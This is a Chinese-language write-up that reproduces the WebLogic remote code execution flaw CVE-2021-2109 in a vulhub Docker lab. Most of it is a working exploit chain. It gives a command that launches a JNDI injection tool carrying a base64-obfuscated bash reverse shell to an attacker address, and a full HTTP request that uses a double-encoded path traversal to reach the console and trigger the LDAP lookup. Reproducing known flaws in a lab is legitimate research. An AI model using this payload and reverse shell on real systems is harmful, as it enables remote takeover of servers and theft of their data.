0%

Weblogic远程代码执行漏洞(CVE-2021-2109)复现

漏洞简介

该漏洞为Weblogic的远程代码执行漏洞,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

影响版本

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

漏洞复现

使用vulhub CVE-2020-14882搭建漏洞环境,docker-compose up -d开启weblogic 12.2.1.3服务器

1、启动ldap监听

使用JNDI注入工具开启ldap监听

可以用:https://github.com/welk1n/JNDI-Injection-Exploit

或者这个:https://github.com/feihong-cs/JNDIExploit

两者区别在于feihong-cs大佬的项目可以在http header中设置cmd参数来回显,如下图:

这里使用第一个项目

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMjA0LzU1NTUgMD4mMQ==}|{base64,-d}|{/bin/bash,-i}" -A 10.1.1.204

执行反弹shell命令,命令用base64编码以避免特殊符号被转义

因为这个docker容器内部无ping命令,所以直接反弹shell,不用dnslog测试

2、发送payload

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.26.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 162

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.1.1;204:1389/sptwli;AdminServer%22)

注意ldap://10.1.1;204:1389/sptwli;AdminServer的两个;

获取到shell

参考链接

https://www.cnblogs.com/shley/p/14673330.html

https://www.hacksafe.net/vuls/5586.html